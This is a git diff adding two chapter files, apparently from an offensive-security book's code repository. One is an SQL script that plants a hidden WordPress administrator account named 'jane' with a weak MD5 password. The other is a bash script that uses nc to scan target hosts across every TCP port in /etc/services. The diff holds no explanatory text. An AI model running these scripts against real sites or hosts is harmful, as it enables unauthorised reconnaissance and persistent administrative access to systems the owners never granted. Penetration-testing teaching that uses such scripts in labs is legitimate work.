diff --git a/ch11/add_wordpress_admin.sql b/ch11/add_wordpress_admin.sql new file mode 100644 index 0000000..2104b20 --- /dev/null +++ b/ch11/add_wordpress_admin.sql @@ -0,0 +1,7 @@ +use wordpress; + +INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('3', 'jane', MD5('bash'), 'Jane', 'jane@example.com', 'http://www.example.com/', '2023-01-01 00:00:00', '', '0', 'Jane'); + +INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); + +INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_user_level', '10'); diff --git a/ch11/port_scan_etc_services.sh b/ch11/port_scan_etc_services.sh new file mode 100644 index 0000000..9e82a9d --- /dev/null +++ b/ch11/port_scan_etc_services.sh @@ -0,0 +1,23 @@ +#!/bin/bash +TARGETS=("$@") + +print_help(){ + echo "Usage: ${0} " + echo "${0} 10.1.0.1 10.1.0.2 10.1.0.3" +} + +if [[ ${#TARGETS[@]} -eq 0 ]]; then + echo "Must provide one or more IP addresses!" + print_help + exit 1 +fi + +for target in "${TARGETS[@]}"; do + while read -r port; do + if timeout 1 nc -i 1 "${target}" -v "${port}" 2>&1 | grep -q "Connected to"; then + echo "IP: ${target}" + echo "Port: ${port}" + echo "Service: $(grep -w "${port}/tcp" /etc/services | awk '{print $1}')" + fi + done < <(grep "/tcp" /etc/services | awk '{print $2}' | tr -d '/tcp') +done \ No newline at end of file